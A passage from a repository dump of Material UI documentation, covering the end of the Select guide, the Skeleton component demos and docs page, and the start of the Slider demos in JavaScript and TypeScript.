\"ControlledOpenSelect.js\"}}\n\n## With a dialog\n\nWhile it's discouraged by the Material Design guidelines, you can use a select inside a dialog.\n\n{{\"demo\": \"DialogSelect.js\"}}\n\n## Grouping\n\nDisplay categories with the `ListSubheader` component or the native `<optgroup>` element.\n\n{{\"demo\": \"GroupedSelect.js\"}}\n\n:::warning\nIf you wish to wrap the ListSubheader in a custom component, you'll have to annotate it so Material UI can handle it properly when determining focusable elements.\n\nYou have two options for solving this:\nOption 1: Define a static boolean field called `muiSkipListHighlight` on your component function, and set it to `true`:\n\n```tsx\nfunction MyListSubheader(props: ListSubheaderProps) {\n  return <ListSubheader {...props} />;\n}\n\nMyListSubheader.muiSkipListHighlight = true;\nexport default MyListSubheader;\n\n// elsewhere:\n\nreturn (\n  <Select>\n    <MyListSubheader>Group 1</MyListSubheader>\n    <MenuItem value={1}>Option 1</MenuItem>\n    <MenuItem value={2}>Option 2</MenuItem>\n    <MyListSubheader>Group 2</MyListSubheader>\n    <MenuItem value={3}>Option 3</MenuItem>\n    <MenuItem value={4}>Option 4</MenuItem>\n    {/* ... */}\n  </Select>\n```\n\nOption 2: Place a `muiSkipListHighlight` prop on each instance of your component.\nThe prop doesn't have to be forwarded to the ListSubheader, nor present in the underlying DOM element.\nIt just has to be placed on a component that's used as a subheader.\n\n```tsx\nexport default function MyListSubheader(\n  props: ListSubheaderProps & { muiSkipListHighlight: boolean },\n) {\n  const { muiSkipListHighlight, ...other } = props;\n  return <ListSubheader {...other} />;\n}\n\n// elsewhere:\n\nreturn (\n  <Select>\n    <MyListSubheader muiSkipListHighlight>Group 1</MyListSubheader>\n    <MenuItem value={1}>Option 1</MenuItem>\n    <MenuItem value={2}>Option 2</MenuItem>\n    <MyListSubheader muiSkipListHighlight>Group 2</MyListSubheader>\n    <MenuItem value={3}>Option 3</MenuItem>\n    <MenuItem value={4}>Option 4</MenuItem>\n    {/* ... */}\n  </Select>\n);\n```\n\nWe recommend the first option as it doesn't require updating all the usage sites of the component.\n\nKeep in mind this is **only necessary** if you wrap the ListSubheader in a custom component.\nIf you use the ListSubheader directly, **no additional code is required**.\n:::\n\n## Accessibility\n\nTo properly label your `Select` input you need an extra element with an `id` that contains a label.\nThat `id` needs to match the `labelId` of the `Select`, for example:\n\n```jsx\n<InputLabel id=\"label\">Age</InputLabel>\n<Select labelId=\"label\" id=\"select\" value=\"20\">\n  <MenuItem value=\"10\">Ten</MenuItem>\n  <MenuItem value=\"20\">Twenty</MenuItem>\n</Select>\n```\n\nAlternatively a `TextField` with an `id` and `label` creates the proper markup and\nids for you:\n\n```jsx\n<TextField id=\"select\" label=\"Age\" value=\"20\" select>\n  <MenuItem value=\"10\">Ten</MenuItem>\n  <MenuItem value=\"20\">Twenty</MenuItem>\n</TextField>\n```\n\nFor a [native select](#native-select), you should mention a label by giving the value of the `id` attribute of the select element to the `InputLabel`'s `htmlFor` attribute:\n\n```jsx\n<InputLabel htmlFor=\"select\">Age</InputLabel>\n<NativeSelect id=\"select\">\n  <option value=\"10\">Ten</option>\n  <option value=\"20\">Twenty</option>\n</NativeSelect>\n```\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Animations.js",
    "content": "import Box from '@mui/material/Box';\nimport Skeleton from '@mui/material/Skeleton';\n\nexport default function Animations() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Skeleton />\n      <Skeleton animation=\"wave\" />\n      <Skeleton animation={false} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Animations.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Skeleton from '@mui/material/Skeleton';\n\nexport default function Animations() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Skeleton />\n      <Skeleton animation=\"wave\" />\n      <Skeleton animation={false} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Animations.tsx.preview",
    "content": "<Skeleton />\n<Skeleton animation=\"wave\" />\n<Skeleton animation={false} />"
  },
  {
    "path": "docs/data/material/components/skeleton/Facebook.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\nimport Skeleton from '@mui/material/Skeleton';\n\nfunction Media(props) {\n  const { loading = false } = props;\n\n  return (\n    <Card sx={{ maxWidth: 345, m: 2 }}>\n      <CardHeader\n        avatar={\n          loading ? (\n            <Skeleton animation=\"wave\" variant=\"circular\" width={40} height={40} />\n          ) : (\n            <Avatar\n              alt=\"Ted talk\"\n              src=\"https://pbs.twimg.com/profile_images/877631054525472768/Xp5FAPD5_reasonably_small.jpg\"\n            />\n          )\n        }\n        action={\n          loading ? null : (\n            <IconButton aria-label=\"settings\">\n              <MoreVertIcon />\n            </IconButton>\n          )\n        }\n        title={\n          loading ? (\n            <Skeleton\n              animation=\"wave\"\n              height={10}\n              width=\"80%\"\n              style={{ marginBottom: 6 }}\n            />\n          ) : (\n            'Ted'\n          )\n        }\n        subheader={\n          loading ? (\n            <Skeleton animation=\"wave\" height={10} width=\"40%\" />\n          ) : (\n            '5 hours ago'\n          )\n        }\n      />\n      {loading ? (\n        <Skeleton sx={{ height: 190 }} animation=\"wave\" variant=\"rectangular\" />\n      ) : (\n        <CardMedia\n          component=\"img\"\n          height=\"140\"\n          image=\"https://pi.tedcdn.com/r/talkstar-photos.s3.amazonaws.com/uploads/72bda89f-9bbf-4685-910a-2f151c4f3a8a/NicolaSturgeon_2019T-embed.jpg?w=512\"\n          alt=\"Nicola Sturgeon on a TED talk stage\"\n        />\n      )}\n      <CardContent>\n        {loading ? (\n          <React.Fragment>\n            <Skeleton animation=\"wave\" height={10} style={{ marginBottom: 6 }} />\n            <Skeleton animation=\"wave\" height={10} width=\"80%\" />\n          </React.Fragment>\n        ) : (\n          <Typography variant=\"body2\" component=\"p\" sx={{ color: 'text.secondary' }}>\n            {\n              \"Why First Minister of Scotland Nicola Sturgeon thinks GDP is the wrong measure of a country's success:\"\n            }\n          </Typography>\n        )}\n      </CardContent>\n    </Card>\n  );\n}\n\nMedia.propTypes = {\n  loading: PropTypes.bool,\n};\n\nexport default function Facebook() {\n  return (\n    <div>\n      <Media loading />\n      <Media />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Facebook.tsx",
    "content": "import * as React from 'react';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\nimport Skeleton from '@mui/material/Skeleton';\n\ninterface MediaProps {\n  loading?: boolean;\n}\n\nfunction Media(props: MediaProps) {\n  const { loading = false } = props;\n\n  return (\n    <Card sx={{ maxWidth: 345, m: 2 }}>\n      <CardHeader\n        avatar={\n          loading ? (\n            <Skeleton animation=\"wave\" variant=\"circular\" width={40} height={40} />\n          ) : (\n            <Avatar\n              alt=\"Ted talk\"\n              src=\"https://pbs.twimg.com/profile_images/877631054525472768/Xp5FAPD5_reasonably_small.jpg\"\n            />\n          )\n        }\n        action={\n          loading ? null : (\n            <IconButton aria-label=\"settings\">\n              <MoreVertIcon />\n            </IconButton>\n          )\n        }\n        title={\n          loading ? (\n            <Skeleton\n              animation=\"wave\"\n              height={10}\n              width=\"80%\"\n              style={{ marginBottom: 6 }}\n            />\n          ) : (\n            'Ted'\n          )\n        }\n        subheader={\n          loading ? (\n            <Skeleton animation=\"wave\" height={10} width=\"40%\" />\n          ) : (\n            '5 hours ago'\n          )\n        }\n      />\n      {loading ? (\n        <Skeleton sx={{ height: 190 }} animation=\"wave\" variant=\"rectangular\" />\n      ) : (\n        <CardMedia\n          component=\"img\"\n          height=\"140\"\n          image=\"https://pi.tedcdn.com/r/talkstar-photos.s3.amazonaws.com/uploads/72bda89f-9bbf-4685-910a-2f151c4f3a8a/NicolaSturgeon_2019T-embed.jpg?w=512\"\n          alt=\"Nicola Sturgeon on a TED talk stage\"\n        />\n      )}\n      <CardContent>\n        {loading ? (\n          <React.Fragment>\n            <Skeleton animation=\"wave\" height={10} style={{ marginBottom: 6 }} />\n            <Skeleton animation=\"wave\" height={10} width=\"80%\" />\n          </React.Fragment>\n        ) : (\n          <Typography variant=\"body2\" component=\"p\" sx={{ color: 'text.secondary' }}>\n            {\n              \"Why First Minister of Scotland Nicola Sturgeon thinks GDP is the wrong measure of a country's success:\"\n            }\n          </Typography>\n        )}\n      </CardContent>\n    </Card>\n  );\n}\n\nexport default function Facebook() {\n  return (\n    <div>\n      <Media loading />\n      <Media />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Facebook.tsx.preview",
    "content": "<Media loading />\n<Media />"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonChildren.js",
    "content": "import { styled } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Avatar from '@mui/material/Avatar';\nimport Grid from '@mui/material/Grid';\nimport Skeleton from '@mui/material/Skeleton';\n\nconst Image = styled('img')({\n  width: '100%',\n});\n\nfunction SkeletonChildrenDemo(props) {\n  const { loading = false } = props;\n\n  return (\n    <div>\n      <Box sx={{ display: 'flex', alignItems: 'center' }}>\n        <Box sx={{ margin: 1 }}>\n          {loading ? (\n            <Skeleton variant=\"circular\">\n              <Avatar />\n            </Skeleton>\n          ) : (\n            <Avatar src=\"https://pbs.twimg.com/profile_images/877631054525472768/Xp5FAPD5_reasonably_small.jpg\" />\n          )}\n        </Box>\n        <Box sx={{ width: '100%' }}>\n          {loading ? (\n            <Skeleton width=\"100%\">\n              <Typography>.</Typography>\n            </Skeleton>\n          ) : (\n            <Typography>Ted</Typography>\n          )}\n        </Box>\n      </Box>\n      {loading ? (\n        <Skeleton variant=\"rectangular\" width=\"100%\">\n          <div style={{ paddingTop: '57%' }} />\n        </Skeleton>\n      ) : (\n        <Image\n          src=\"https://pi.tedcdn.com/r/talkstar-photos.s3.amazonaws.com/uploads/72bda89f-9bbf-4685-910a-2f151c4f3a8a/NicolaSturgeon_2019T-embed.jpg?w=512\"\n          alt=\"\"\n        />\n      )}\n    </div>\n  );\n}\n\nSkeletonChildrenDemo.propTypes = {\n  loading: PropTypes.bool,\n};\n\nexport default function SkeletonChildren() {\n  return (\n    <Grid container spacing={8}>\n      <Grid size=\"grow\">\n        <SkeletonChildrenDemo loading />\n      </Grid>\n      <Grid size=\"grow\">\n        <SkeletonChildrenDemo />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonChildren.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Avatar from '@mui/material/Avatar';\nimport Grid from '@mui/material/Grid';\nimport Skeleton from '@mui/material/Skeleton';\n\nconst Image = styled('img')({\n  width: '100%',\n});\n\nfunction SkeletonChildrenDemo(props: { loading?: boolean }) {\n  const { loading = false } = props;\n\n  return (\n    <div>\n      <Box sx={{ display: 'flex', alignItems: 'center' }}>\n        <Box sx={{ margin: 1 }}>\n          {loading ? (\n            <Skeleton variant=\"circular\">\n              <Avatar />\n            </Skeleton>\n          ) : (\n            <Avatar src=\"https://pbs.twimg.com/profile_images/877631054525472768/Xp5FAPD5_reasonably_small.jpg\" />\n          )}\n        </Box>\n        <Box sx={{ width: '100%' }}>\n          {loading ? (\n            <Skeleton width=\"100%\">\n              <Typography>.</Typography>\n            </Skeleton>\n          ) : (\n            <Typography>Ted</Typography>\n          )}\n        </Box>\n      </Box>\n      {loading ? (\n        <Skeleton variant=\"rectangular\" width=\"100%\">\n          <div style={{ paddingTop: '57%' }} />\n        </Skeleton>\n      ) : (\n        <Image\n          src=\"https://pi.tedcdn.com/r/talkstar-photos.s3.amazonaws.com/uploads/72bda89f-9bbf-4685-910a-2f151c4f3a8a/NicolaSturgeon_2019T-embed.jpg?w=512\"\n          alt=\"\"\n        />\n      )}\n    </div>\n  );\n}\n\nexport default function SkeletonChildren() {\n  return (\n    <Grid container spacing={8}>\n      <Grid size=\"grow\">\n        <SkeletonChildrenDemo loading />\n      </Grid>\n      <Grid size=\"grow\">\n        <SkeletonChildrenDemo />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonChildren.tsx.preview",
    "content": "<Grid container spacing={8}>\n  <Grid size=\"grow\">\n    <SkeletonChildrenDemo loading />\n  </Grid>\n  <Grid size=\"grow\">\n    <SkeletonChildrenDemo />\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonColor.js",
    "content": "import Skeleton from '@mui/material/Skeleton';\nimport Box from '@mui/material/Box';\n\nexport default function SkeletonColor() {\n  return (\n    <Box\n      sx={{\n        bgcolor: '#121212',\n        p: 8,\n        width: '100%',\n        display: 'flex',\n        justifyContent: 'center',\n      }}\n    >\n      <Skeleton\n        sx={{ bgcolor: 'grey.900' }}\n        variant=\"rectangular\"\n        width={210}\n        height={118}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonColor.tsx",
    "content": "import Skeleton from '@mui/material/Skeleton';\nimport Box from '@mui/material/Box';\n\nexport default function SkeletonColor() {\n  return (\n    <Box\n      sx={{\n        bgcolor: '#121212',\n        p: 8,\n        width: '100%',\n        display: 'flex',\n        justifyContent: 'center',\n      }}\n    >\n      <Skeleton\n        sx={{ bgcolor: 'grey.900' }}\n        variant=\"rectangular\"\n        width={210}\n        height={118}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonColor.tsx.preview",
    "content": "<Skeleton\n  sx={{ bgcolor: 'grey.900' }}\n  variant=\"rectangular\"\n  width={210}\n  height={118}\n/>"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonTypography.js",
    "content": "import Typography from '@mui/material/Typography';\nimport PropTypes from 'prop-types';\nimport Skeleton from '@mui/material/Skeleton';\nimport Grid from '@mui/material/Grid';\n\nconst variants = ['h1', 'h3', 'body1', 'caption'];\n\nfunction TypographyDemo(props) {\n  const { loading = false } = props;\n\n  return (\n    <div>\n      {variants.map((variant) => (\n        <Typography component=\"div\" key={variant} variant={variant}>\n          {loading ? <Skeleton /> : variant}\n        </Typography>\n      ))}\n    </div>\n  );\n}\n\nTypographyDemo.propTypes = {\n  loading: PropTypes.bool,\n};\n\nexport default function SkeletonTypography() {\n  return (\n    <Grid container spacing={8}>\n      <Grid size=\"grow\">\n        <TypographyDemo loading />\n      </Grid>\n      <Grid size=\"grow\">\n        <TypographyDemo />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonTypography.tsx",
    "content": "import Typography, { TypographyProps } from '@mui/material/Typography';\nimport Skeleton from '@mui/material/Skeleton';\nimport Grid from '@mui/material/Grid';\n\nconst variants = [\n  'h1',\n  'h3',\n  'body1',\n  'caption',\n] as readonly TypographyProps['variant'][];\n\nfunction TypographyDemo(props: { loading?: boolean }) {\n  const { loading = false } = props;\n\n  return (\n    <div>\n      {variants.map((variant) => (\n        <Typography component=\"div\" key={variant} variant={variant}>\n          {loading ? <Skeleton /> : variant}\n        </Typography>\n      ))}\n    </div>\n  );\n}\n\nexport default function SkeletonTypography() {\n  return (\n    <Grid container spacing={8}>\n      <Grid size=\"grow\">\n        <TypographyDemo loading />\n      </Grid>\n      <Grid size=\"grow\">\n        <TypographyDemo />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/SkeletonTypography.tsx.preview",
    "content": "<Grid container spacing={8}>\n  <Grid size=\"grow\">\n    <TypographyDemo loading />\n  </Grid>\n  <Grid size=\"grow\">\n    <TypographyDemo />\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/skeleton/Variants.js",
    "content": "import Skeleton from '@mui/material/Skeleton';\nimport Stack from '@mui/material/Stack';\n\nexport default function Variants() {\n  return (\n    <Stack spacing={1}>\n      {/* For variant=\"text\", adjust the height via font-size */}\n      <Skeleton variant=\"text\" sx={{ fontSize: '1rem' }} />\n      {/* For other variants, adjust the size with `width` and `height` */}\n      <Skeleton variant=\"circular\" width={40} height={40} />\n      <Skeleton variant=\"rectangular\" width={210} height={60} />\n      <Skeleton variant=\"rounded\" width={210} height={60} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Variants.tsx",
    "content": "import Skeleton from '@mui/material/Skeleton';\nimport Stack from '@mui/material/Stack';\n\nexport default function Variants() {\n  return (\n    <Stack spacing={1}>\n      {/* For variant=\"text\", adjust the height via font-size */}\n      <Skeleton variant=\"text\" sx={{ fontSize: '1rem' }} />\n\n      {/* For other variants, adjust the size with `width` and `height` */}\n      <Skeleton variant=\"circular\" width={40} height={40} />\n      <Skeleton variant=\"rectangular\" width={210} height={60} />\n      <Skeleton variant=\"rounded\" width={210} height={60} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/Variants.tsx.preview",
    "content": "{/* For variant=\"text\", adjust the height via font-size */}\n<Skeleton variant=\"text\" sx={{ fontSize: '1rem' }} />\n\n{/* For other variants, adjust the size with `width` and `height` */}\n<Skeleton variant=\"circular\" width={40} height={40} />\n<Skeleton variant=\"rectangular\" width={210} height={60} />\n<Skeleton variant=\"rounded\" width={210} height={60} />"
  },
  {
    "path": "docs/data/material/components/skeleton/YouTube.js",
    "content": "import Grid from '@mui/material/Grid';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Skeleton from '@mui/material/Skeleton';\n\nconst data = [\n  {\n    src: 'https://i.ytimg.com/vi/pLqipJNItIo/hqdefault.jpg?sqp=-oaymwEYCNIBEHZIVfKriqkDCwgBFQAAiEIYAXAB&rs=AOn4CLBkklsyaw9FxDmMKapyBYCn9tbPNQ',\n    title: 'Don Diablo @ Tomorrowland Main Stage 2019 | Official…',\n    channel: 'Don Diablo',\n    views: '396k views',\n    createdAt: 'a week ago',\n  },\n  {\n    src: 'https://i.ytimg.com/vi/_Uu12zY01ts/hqdefault.jpg?sqp=-oaymwEZCPYBEIoBSFXyq4qpAwsIARUAAIhCGAFwAQ==&rs=AOn4CLCpX6Jan2rxrCAZxJYDXppTP4MoQA',\n    title: 'Queen - Greatest Hits',\n    channel: 'Queen Official',\n    views: '40M views',\n    createdAt: '3 years ago',\n  },\n  {\n    src: 'https://i.ytimg.com/vi/kkLk2XWMBf8/hqdefault.jpg?sqp=-oaymwEYCNIBEHZIVfKriqkDCwgBFQAAiEIYAXAB&rs=AOn4CLB4GZTFu1Ju2EPPPXnhMZtFVvYBaw',\n    title: 'Calvin Harris, Sam Smith - Promises (Official Video)',\n    channel: 'Calvin Harris',\n    views: '130M views',\n    createdAt: '10 months ago',\n  },\n];\n\nfunction Media(props) {\n  const { loading = false } = props;\n\n  return (\n    <Grid container wrap=\"nowrap\">\n      {(loading ? Array.from(new Array(3)) : data).map((item, index) => (\n        <Box key={index} sx={{ width: 210, marginRight: 0.5, my: 5 }}>\n          {item ? (\n            <img\n              style={{ width: 210, height: 118 }}\n              alt={item.title}\n              src={item.src}\n            />\n          ) : (\n            <Skeleton variant=\"rectangular\" width={210} height={118} />\n          )}\n          {item ? (\n            <Box sx={{ pr: 2 }}>\n              <Typography gutterBottom variant=\"body2\">\n                {item.title}\n              </Typography>\n              <Typography\n                variant=\"caption\"\n                sx={{ display: 'block', color: 'text.secondary' }}\n              >\n                {item.channel}\n              </Typography>\n              <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n                {`${item.views} • ${item.createdAt}`}\n              </Typography>\n            </Box>\n          ) : (\n            <Box sx={{ pt: 0.5 }}>\n              <Skeleton />\n              <Skeleton width=\"60%\" />\n            </Box>\n          )}\n        </Box>\n      ))}\n    </Grid>\n  );\n}\n\nMedia.propTypes = {\n  loading: PropTypes.bool,\n};\n\nexport default function YouTube() {\n  return (\n    <Box sx={{ overflow: 'hidden' }}>\n      <Media loading />\n      <Media />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/YouTube.tsx",
    "content": "import Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Skeleton from '@mui/material/Skeleton';\n\nconst data = [\n  {\n    src: 'https://i.ytimg.com/vi/pLqipJNItIo/hqdefault.jpg?sqp=-oaymwEYCNIBEHZIVfKriqkDCwgBFQAAiEIYAXAB&rs=AOn4CLBkklsyaw9FxDmMKapyBYCn9tbPNQ',\n    title: 'Don Diablo @ Tomorrowland Main Stage 2019 | Official…',\n    channel: 'Don Diablo',\n    views: '396k views',\n    createdAt: 'a week ago',\n  },\n  {\n    src: 'https://i.ytimg.com/vi/_Uu12zY01ts/hqdefault.jpg?sqp=-oaymwEZCPYBEIoBSFXyq4qpAwsIARUAAIhCGAFwAQ==&rs=AOn4CLCpX6Jan2rxrCAZxJYDXppTP4MoQA',\n    title: 'Queen - Greatest Hits',\n    channel: 'Queen Official',\n    views: '40M views',\n    createdAt: '3 years ago',\n  },\n  {\n    src: 'https://i.ytimg.com/vi/kkLk2XWMBf8/hqdefault.jpg?sqp=-oaymwEYCNIBEHZIVfKriqkDCwgBFQAAiEIYAXAB&rs=AOn4CLB4GZTFu1Ju2EPPPXnhMZtFVvYBaw',\n    title: 'Calvin Harris, Sam Smith - Promises (Official Video)',\n    channel: 'Calvin Harris',\n    views: '130M views',\n    createdAt: '10 months ago',\n  },\n];\n\ninterface MediaProps {\n  loading?: boolean;\n}\n\nfunction Media(props: MediaProps) {\n  const { loading = false } = props;\n\n  return (\n    <Grid container wrap=\"nowrap\">\n      {(loading ? Array.from(new Array(3)) : data).map((item, index) => (\n        <Box key={index} sx={{ width: 210, marginRight: 0.5, my: 5 }}>\n          {item ? (\n            <img\n              style={{ width: 210, height: 118 }}\n              alt={item.title}\n              src={item.src}\n            />\n          ) : (\n            <Skeleton variant=\"rectangular\" width={210} height={118} />\n          )}\n          {item ? (\n            <Box sx={{ pr: 2 }}>\n              <Typography gutterBottom variant=\"body2\">\n                {item.title}\n              </Typography>\n              <Typography\n                variant=\"caption\"\n                sx={{ display: 'block', color: 'text.secondary' }}\n              >\n                {item.channel}\n              </Typography>\n              <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n                {`${item.views} • ${item.createdAt}`}\n              </Typography>\n            </Box>\n          ) : (\n            <Box sx={{ pt: 0.5 }}>\n              <Skeleton />\n              <Skeleton width=\"60%\" />\n            </Box>\n          )}\n        </Box>\n      ))}\n    </Grid>\n  );\n}\n\nexport default function YouTube() {\n  return (\n    <Box sx={{ overflow: 'hidden' }}>\n      <Media loading />\n      <Media />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/skeleton/YouTube.tsx.preview",
    "content": "<Media loading />\n<Media />"
  },
  {
    "path": "docs/data/material/components/skeleton/skeleton.md",
    "content": "---\nproductId: material-ui\ntitle: React Skeleton component\ncomponents: Skeleton\ngithubLabel: 'scope: skeleton'\ngithubSource: packages/mui-material/src/Skeleton\n---\n\n# Skeleton\n\n<p class=\"description\">Display a placeholder preview of your content before the data gets loaded to reduce load-time frustration.</p>\n\nThe data for your components might not be immediately available. You can improve the perceived responsiveness of the page by using skeletons. It feels like things are happening immediately, then the information is incrementally displayed on the screen (Cf. [Avoid The Spinner](https://www.lukew.com/ff/entry.asp?1797)).\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Usage\n\nThe component is designed to be used **directly in your components**.\nFor instance:\n\n```jsx\n{\n  item ? (\n    <img\n      style={{\n        width: 210,\n        height: 118,\n      }}\n      alt={item.title}\n      src={item.src}\n    />\n  ) : (\n    <Skeleton variant=\"rectangular\" width={210} height={118} />\n  );\n}\n```\n\n## Variants\n\nThe component supports 4 shape variants:\n\n- `text` (default): represents a single line of text (you can adjust the height via font size).\n- `circular`, `rectangular`, and `rounded`: come with different border radius to let you take control of the size.\n\n{{\"demo\": \"Variants.js\"}}\n\n## Animations\n\nBy default, the skeleton pulsates, but you can change the animation to a wave or disable it entirely.\n\n{{\"demo\": \"Animations.js\"}}\n\n### Pulsate example\n\n{{\"demo\": \"YouTube.js\", \"defaultCodeOpen\": false}}\n\n### Wave example\n\n{{\"demo\": \"Facebook.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n## Inferring dimensions\n\nIn addition to accepting `width` and `height` props, the component can also infer the dimensions.\n\nIt works well when it comes to typography as its height is set using `em` units.\n\n```jsx\n<Typography variant=\"h1\">{loading ? <Skeleton /> : 'h1'}</Typography>\n```\n\n{{\"demo\": \"SkeletonTypography.js\", \"defaultCodeOpen\": false}}\n\nBut when it comes to other components, you may not want to repeat the width and\nheight. In these instances, you can pass `children` and it will\ninfer its width and height from them.\n\n```jsx\nloading ? (\n  <Skeleton variant=\"circular\">\n    <Avatar />\n  </Skeleton>\n) : (\n  <Avatar src={data.avatar} />\n);\n```\n\n{{\"demo\": \"SkeletonChildren.js\", \"defaultCodeOpen\": false}}\n\n## Color\n\nThe color of the component can be customized by changing its `background-color` CSS property.\nThis is especially useful when on a black background (as the skeleton will otherwise be invisible).\n\n{{\"demo\": \"SkeletonColor.js\", \"bg\": \"inline\"}}\n\n## Accessibility\n\nSkeleton screens provide an alternative to the traditional spinner method.\nRather than showing an abstract widget, skeleton screens create anticipation of what is to come and reduce cognitive load.\n\nThe background color of the skeleton uses the least amount of luminance to be visible in good conditions (good ambient light, good screen, no visual impairments).\n\n### ARIA\n\nNone.\n\n### Keyboard\n\nThe skeleton is not focusable.\n"
  },
  {
    "path": "docs/data/material/components/slider/ColorSlider.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function ColorSlider() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Temperature\"\n        defaultValue={30}\n        getAriaValueText={valuetext}\n        color=\"secondary\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/ColorSlider.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function ColorSlider() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Temperature\"\n        defaultValue={30}\n        getAriaValueText={valuetext}\n        color=\"secondary\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/ColorSlider.tsx.preview",
    "content": "<Slider\n  aria-label=\"Temperature\"\n  defaultValue={30}\n  getAriaValueText={valuetext}\n  color=\"secondary\"\n/>"
  },
  {
    "path": "docs/data/material/components/slider/ContinuousSlider.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Slider from '@mui/material/Slider';\nimport VolumeDown from '@mui/icons-material/VolumeDown';\nimport VolumeUp from '@mui/icons-material/VolumeUp';\n\nexport default function ContinuousSlider() {\n  const [value, setValue] = React.useState(30);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 200 }}>\n      <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center', mb: 1 }}>\n        <VolumeDown />\n        <Slider aria-label=\"Volume\" value={value} onChange={handleChange} />\n        <VolumeUp />\n      </Stack>\n      <Slider disabled defaultValue={30} aria-label=\"Disabled slider\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/ContinuousSlider.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Slider from '@mui/material/Slider';\nimport VolumeDown from '@mui/icons-material/VolumeDown';\nimport VolumeUp from '@mui/icons-material/VolumeUp';\n\nexport default function ContinuousSlider() {\n  const [value, setValue] = React.useState<number>(30);\n\n  const handleChange = (event: Event, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 200 }}>\n      <Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center', mb: 1 }}>\n        <VolumeDown />\n        <Slider aria-label=\"Volume\" value={value} onChange={handleChange} />\n        <VolumeUp />\n      </Stack>\n      <Slider disabled defaultValue={30} aria-label=\"Disabled slider\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/ContinuousSlider.tsx.preview",
    "content": "<Stack spacing={2} direction=\"row\" sx={{ alignItems: 'center', mb: 1 }}>\n  <VolumeDown />\n  <Slider aria-label=\"Volume\" value={value} onChange={handleChange} />\n  <VolumeUp />\n</Stack>\n<Slider disabled defaultValue={30} aria-label=\"Disabled slider\" />"
  },
  {
    "path": "docs/data/material/components/slider/CustomMarks.js",
